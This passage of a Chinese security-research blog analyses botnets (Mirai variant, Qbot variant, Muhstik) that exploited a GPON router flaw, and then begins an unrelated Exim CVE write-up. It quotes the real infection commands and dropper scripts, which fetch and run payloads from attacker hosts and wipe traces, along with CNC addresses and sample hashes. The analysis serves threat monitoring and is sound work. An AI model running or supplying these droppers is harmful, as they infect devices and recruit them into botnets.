class="nb">echo</span> “<span class="o">[</span>+<span class="o">]</span> Retrieving the ouput….”<span class="m">9</span> curl -k <span class="nv">$1</span>/diag.html?images/ <span class="m">2</span>>/dev/null <span class="p">|</span> grep ‘diag_result <span class="o">=</span> ‘ <span class="p">|</span> sed -e ‘s/<span class="se">\\</span>n/<span class="se">\n</span>/g’该脚本逻辑如下:
步骤1(行5):将注入的命令发送至
/GponForm/diag_Form
并被执行。步骤2(行9):利用绕过漏洞访问
diag.html
页面获取命令执行的结果。关键点在第二步:
当我们不使用
grep diag_result
去过滤返回的结果,将会发现部分路由器会将diag_host
也一并返回。而参数diag_host
就是步骤1中注入的命令。这就意味着,通过ZoomEye网络空间搜索引擎,我们可以监控互联网上相关路由器的
diag.html
页面,从而了解僵尸网络的活动情况。0x01 被利用情况
ZoomEye网络空间搜索引擎在
2018/05/05
、2018/05/07
、2018/05/08
进行了三次探测,一共发现了与僵尸网络相关的命令12
处。一. 被利用情况总览
二. 详细介绍
1. Mirai变种僵尸网络
THANOS
这是一个在我们研究前撤退、研究时重新归来的僵尸网络
使用的感染命令如下:
编号1busybox wget http://104.243.44.250/mips -O /tmp/m
编号10busybox wget http://82.202.166.101/mips -O -
1.1 104.243.44.250 样本
在我们发现相关攻击痕迹时,样本已无法下载。看起来就像始作俑者已经撤退。
但是我们仍然从路由器上运行的样本中了解到该僵尸网络的行为:
- 当前进程
- 网络连接情况
- CNC
82.202.166.101:45
,2018/05/05
未连接成功(2018/05/09
发现该CNC
重新打开)
由于该恶意样本拥有生成随机进程名、对外爆破23端口等特征,故可能是Mirai僵尸网络或其变种。
1.2 82.202.166.101 样本
12# sha256sum 82.202.166.101/mips94717b25e400e142ce14305bf707dfcfe8327986fa187a2c5b32b028898a39ec 82.202.166.101/mips2018/05/07,我们发现了少量该样本的感染痕迹,通过进一步研究,我们认为该僵尸网络已经回归。 由于该样本直接在
1.1 中的 CNC
主机上传播,运行时依旧会生成随机进程名,对外爆破23端口,故我们将两者归为同一僵尸网络家族。- 新的CNC
185.232.65.169:8080
新的
CNC
上线包如下根据这个上线包,我们将该僵尸网络称为
Mirai变种僵尸网络 THANOS
2.
Q bot
僵尸网络变种这是一个持续存在的僵尸网络,在我们三次探测中均有出现。预计感染了大量设备。
使用的感染命令如下:
编号2busybox wget http://185.244.25.162/mips -O /tmp/.m
编号7busybox wget http://58.215.144.205/mips -O /tmp/.q
编号12busybox wget http://58.215.144.205/mips -O /tmp/adj
2.1 185.244.25.162 样本
1234# sha256sum 185.244.25.162/mips73473c37e5590bd3eb043e33e2f8832989b88f99449582399522c63d4d46251e 185.244.25.162/mips# file 185.244.25.162/mips185.244.25.162/mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped该恶意样本属于 MIPS 架构,使用 UPX 加壳。在脱壳对其进行逆向的过程中,我们意外发现了与该样本相关的源码:https://darknetleaks.xyz/archive/botnetfiles/Qbot%20Sources/Hacker%20serverside&clientside/client.c
但该样本和源码依然有很多地方不同:
- 对外扫描的IP段不同,样本中对外扫描的IP段如下:
该样本在对外扫描时,只会扫描表格中的这些IP
- kill别的bot的列表
该样本会检测路由器中已有的进程,如果遇到下列可能属于其它僵尸网络的进程,将会进行
kill
操作(匹配的关键词远比源码中的丰富)该样本的
CNC
为:185.33.145.92:252
,该CNC
依旧处于活跃状态需要注意的是
- 该样本内置了
DDoS
攻击模块,可以根据CNC
指令发动TCP
、UDP
、HTTP
洪水攻击 - 该样本内置了
netcore backdoor
利用模块,并且可以通过CNC
开启对外扫描(默认关闭,相关漏洞详情可以参考链接:http://blog.knownsec.com/2015/01/a-brief-analysis-of-netcore-netis-leak-emergency/)
利用脚本如下:
1<span class="nt">cd</span> <span class="o">/</span><span class="nt">tmp</span> <span class="o">||</span> <span class="nt">cd</span> <span class="o">/</span><span class="nt">var</span><span class="o">/</span><span class="nt">run</span> <span class="o">||</span> <span class="nt">cd</span> <span class="o">/</span><span class="nt">mnt</span> <span class="o">||</span> <span class="nt">cd</span> <span class="o">/</span><span class="nt">root</span> <span class="o">||</span> <span class="nt">cd</span> <span class="o">/;</span> <span class="nt">wget</span> <span class="nt">http</span><span class="o">://</span><span class="nt">185</span><span class="p">.</span><span class="nc">33</span><span class="p">.</span><span class="nc">145</span><span class="p">.</span><span class="nc">92</span><span class="o">/</span><span class="nt">miggs</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">777</span> <span class="nt">miggs</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">sh</span> <span class="nt">miggs</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">tftp</span> <span class="nt">185</span><span class="p">.</span><span class="nc">33</span><span class="p">.</span><span class="nc">145</span><span class="p">.</span><span class="nc">92</span> <span class="nt">-c</span> <span class="nt">get</span> <span class="nt">tftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">777</span> <span class="nt">tftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">sh</span> <span class="nt">tftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">tftp</span> <span class="nt">-r</span> <span class="nt">tftp2</span><span class="p">.</span><span class="nc">sh</span> <span class="nt">-g</span> <span class="nt">185</span><span class="p">.</span><span class="nc">33</span><span class="p">.</span><span class="nc">145</span><span class="p">.</span><span class="nc">92</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">777</span> <span class="nt">tftp2</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">sh</span> <span class="nt">tftp2</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">ftpget</span> <span class="nt">-v</span> <span class="nt">-u</span> <span class="nt">anonymous</span> <span class="nt">-p</span> <span class="nt">anonymous</span> <span class="nt">-P</span> <span class="nt">21</span> <span class="nt">185</span><span class="p">.</span><span class="nc">33</span><span class="p">.</span><span class="nc">145</span><span class="p">.</span><span class="nc">92</span> <span class="nt">ftp1</span><span class="p">.</span><span class="nc">sh</span> <span class="nt">ftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">sh</span> <span class="nt">ftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">rm</span> <span class="nt">-rf</span> <span class="nt">miggs</span><span class="p">.</span><span class="nc">sh</span> <span class="nt">tftp1</span><span class="p">.</span><span class="nc">sh</span> <span class="nt">tftp2</span><span class="p">.</span><span class="nc">sh</span> <span class="nt">ftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">rm</span> <span class="nt">-rf</span> <span class="o">*;</span> <span class="nt">history</span> <span class="nt">-c</span>2.2 58.215.144.205 样本(2018/05/07 版本)
12# sha256sum 58.215.144.205/mips41111f0941b323c13ca84caf1e552dc78caac713f4dc1a03fc322c1febcbd6ba 58.215.144.205/mips该样本的感染逻辑没有太大变化,
CNC
与上文相同,为:185.33.145.92:252
,所以我们认为这与上文同属于Q bot
僵尸网络家族的变种。2.3 58.215.144.205 样本(2018/05/08 版本)
12# sha256sum 0508/58.215.144.205/mips9590cc3c1e7a32f6221528b526212b2ad87b793b885639580c276243ec60830b 0508/58.215.144.205/mips2018/05/08
,58.215.144.205/mips
更新了相关的样本。通过逆向的结果看,新的样本与之前的逻辑完全不同,恶意控制者更换了控制的程序。新的样本看起来更像是
Mirai
僵尸网络的新变种,具体的感染细节我们仍在持续跟进中。该样本的CNC为
linuxusaarm.com:443
3.
Muhstik
僵尸网络2018/04/20,360netlab曝光了一个长期存在的僵尸网络:
Muhstik僵尸网络
。在本次漏洞事件中,我们也发现了大量Muhstik
僵尸网络的身影。
该僵尸网络使用的感染命令如下:
编号3wget -qO - http://162.243.211.204/gpon|sh
编号4wget -qO - http://162.243.211.204/aio|sh
编号5wget -O /tmp/par http://162.243.211.204/mrt; chmod x /tmp/ping
编号8wget -qO - http://54.39.23.28/1sh | sh
编号9wget -qO - http://104.54.236.173/gpon | sh
由于该僵尸网络样本众多,多条命令有多次重复感染。故我们通过下图展示各样本和各IP的联系:
图中红点代表各IP,灰点代表感染的bash脚本,黄点代表各恶意样本,蓝点代表出现的链接,红线代表从bash脚本中下载的样本
- 各感染脚本如下:
123456789101112131415161718192021222324<span class="err">#</span> <span class="nt">cat</span> <span class="nt">104</span><span class="p">.</span><span class="nc">54</span><span class="p">.</span><span class="nc">236</span><span class="p">.</span><span class="nc">173</span><span class="o">/</span><span class="nt">gpon</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">cron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="o">&</span><span class="err">#</span> <span class="nt">cat</span> <span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">gpon</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="o">&</span><span class="err">#</span> <span class="nt">cat</span> <span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">gpon</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="o">&</span><span class="nt">root</span><span class="p">@</span><span class="k">vultr</span><span class="o">:~/</span><span class="nt">gpon</span><span class="err">#</span> <span class="nt">cat</span> <span class="nt">54</span><span class="p">.</span><span class="nc">39</span><span class="p">.</span><span class="nc">23</span><span class="p">.</span><span class="nc">28</span><span class="o">/</span><span class="nt">1sh</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">cron</span><span class="p">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">tfti</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">tfti</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">tfti</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">tfti</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">tfti</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pftp</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">pftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pftp</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pftp</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">ntpd</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">ntpd</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">ntpd</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">ntpd</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">ntpd</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">sshd</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">sshd</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">sshd</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">sshd</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">sshd</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">bash</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">bash</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">bash</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">bash</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">bash</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pty</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">pty</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pty</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pty</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pty</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">shy</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">shy</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">shy</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">shy</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">shy</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshtfti</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">nsshtfti</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshtfti</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshtfti</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshtfti</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="o">&</span><span class="nt">fetch</span> <span class="nt">-o</span> <span class="o">/</span><span class="nt">sbin</span><span class="o">/</span><span class="nt">kmpathd</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">fbsd</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">sbin</span><span class="o">/</span><span class="nt">kmpathd</span><span class="o">;</span> <span class="o">/</span><span class="nt">sbin</span><span class="o">/</span><span class="nt">kmpathd</span> <span class="o">&</span>- 各样本
sha256
值如下:
1234567891011121314155f2b198701ce619c6af308bcf3cdb2ef36ad2a5a01b9d9b757de1b066070dad7 51.254.221.129/c/bashf12aa6748543fde5d3b6f882418035634d559fc4ab222d6cfb399fd659b5e34f 51.254.221.129/c/cron54b951302c8da4f9de837a0309cce034a746345d2f96a821c7fc95aa93752d43 51.254.221.129/c/fbsd2cfa79ce4059bbc5798f6856cf82af7fce1d161d6ef398c07f01a010ba5299ea 51.254.221.129/c/nsshcron3ca8c549357d6121b96256715709bccf16a249dcc45bad482f6c8123fc75642f 51.254.221.129/c/nsshpftpd4fba221b1a706dd3c617e33077d1072b37b2702c3235d342d94abfd032ba5f8 51.254.221.129/c/nsshtftie2267edd2b70b5f42a2da942fa47cca98e745f2f2ff8f3bbf7baf8b1331c1a89 51.254.221.129/c/ntpdcfc82255b7e75da9cd01cffdfd671ccf6fafaa3f705041d383149c1191d8bdff 51.254.221.129/c/pftp5e8398c89631ea8d9e776ec9bdd6348cb32a77b300ab8b4ead1860a6a1e50be7 51.254.221.129/c/pty948ef8732346e136320813aade0737540ef498945c1ea14f26a2677e4d64fdee 51.254.221.129/c/shy5477129edd21ce219e2a8ecf4c0930532c73417702215f5813c437f66c8b0299 51.254.221.129/c/sshdc937caa3b2e6cbf2cc67d02639751c320c8832047ff3b7ad5783e0fd9c2d7bae 51.254.221.129/c/tfti3138079caea0baa50978345b58b8d4b05db461b808710146d4e0abb5461c97df 162.243.211.204/aiomipsf12aa6748543fde5d3b6f882418035634d559fc4ab222d6cfb399fd659b5e34f 162.243.211.204/cron5b71ba608e417fb966ff192578d705a05eab4ff825541d9394c97271196cfd69 162.243.211.204/mrt- CNC
192.99.71.250:9090
4. 未知样本1
该样本使用的感染命令如下:
编号6curl -fsSL http://ztccds.freesfocss.com/test.txt | sh
12# sha256sum ztccds.freesfocss.com/zt_arm24602f1c6d354e3a37d4a2e2dd9cef0098f390e1297c096997cc20da4795f2a2 ztccds.freesfocss.com/zt_arm该样本会连接
ztccds.freesfocss.com:23364
,样本具体功能仍在研究中。5. 未知样本2
该样本使用的感染命令如下:
编号11busybox wget http://185.246.152.173/omni -O /tmp/talk
该样本运行的命令为/tmp/talk gpon
12# sha256sum 185.246.152.173/omni18c23bd57c8247db1de2413ce3ff9e61c5504c43cbadaaefce2fb59f4b3c10a0 185.246.152.173/omni该样本会连接
185.246.152.173:1000
,但该端口已经关闭(2018/05/09)。0x02 受影响主机范围
注:由于仅探测了
diag.html
页面,故在多轮探测中我们只能确定哪些主机被攻击,无法判断攻击者是否攻击成功一. 探测到的主机均集中在墨西哥
在对探测到的主机进行地域划分时,三轮探测中被攻击的IP都位于墨西哥。
对受影响最多的五个国家进行抽样测试,结果如下:该漏洞存在与墨西哥和哈萨克斯坦,但是由于固件不同,只有墨西哥的路由器会返回
diag_host
,所以我们仅监测到墨西哥的路由器受影响情况。由于墨西哥的设备占据了全球设备的一半以上,我们认为相关数据依旧可以反应僵尸网络的实际情况。
二. 受攻击的路由器执行的命令情况
由于
2018/05/05
第一轮探测中只统计了存在/tmp
字段的diag_host
的内容,所以第一轮探测的数据具有一定的局限性。可以很明显看出:
- 确认被攻击的路由器数量在不断增加
- 各僵尸网络活动频繁,
2018/05/07
Muhstik
僵尸网络发动大量攻击,而2018/05/08
就变成了Q bot
僵尸网络变种。僵尸网络之间的竞争可见一斑。
0x03 结语
近年来,僵尸网络逐渐盯上攻击简单但危害巨大的物联网漏洞。从去年的
GoAhead
到今年的GPON
事件,无不在提醒我们物联网安全的重要性。能结合ZoomEye网络空间搜索引擎
了解到GPON
事件背后活跃的僵尸网络动态,对我们来说就是一种收获。附录
关于
ZoomEye Dork
,欢迎加入小密圈(免费):本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/595/
-
Exim Off-by-one(CVE-2018-6789)漏洞复现分析
作者:Hcamael@知道创宇404实验室
前段时间meh又挖了一个Exim的RCE漏洞[1],而且这次RCE的漏洞的约束更少了,就算开启了PIE仍然能被利用。虽然去年我研究过Exim,但是时间过去这么久了,所以这次复现还是花了大量时间在熟悉Exim源码上。
本次漏洞复现的过程中,踩了好多坑,实际复现的过程中发现堆块的实际情况无法像meh所说的那样的构造,所以在这部分卡了很久(猜测是因为环境不同的原因),之后决定先理解meh利用的大致思路,然后自己根据实际情况对堆块进行构造,虽然过程艰难,但最终基本算是成功了。
复现环境搭建
本次使用的环境和上次大致相同, 首先去github上该漏洞的patch commit[2]
然后把分支切换到上一个commit
1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ git clone https</span><span class="pun">://</span><span class="pln">github</span><span class="pun">.</span><span class="pln">com</span><span class="pun">/</span><span class="typ">Exim</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">.</span><span class="pln">git</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">$ git checkout </span><span class="lit">38e3d2dff7982736f1e6833e06d4aab4652f337a</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">$ cd src</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">$ mkdir </span><span class="typ">Local</span></code></li></ol>Makefile仍然使用上次那个:
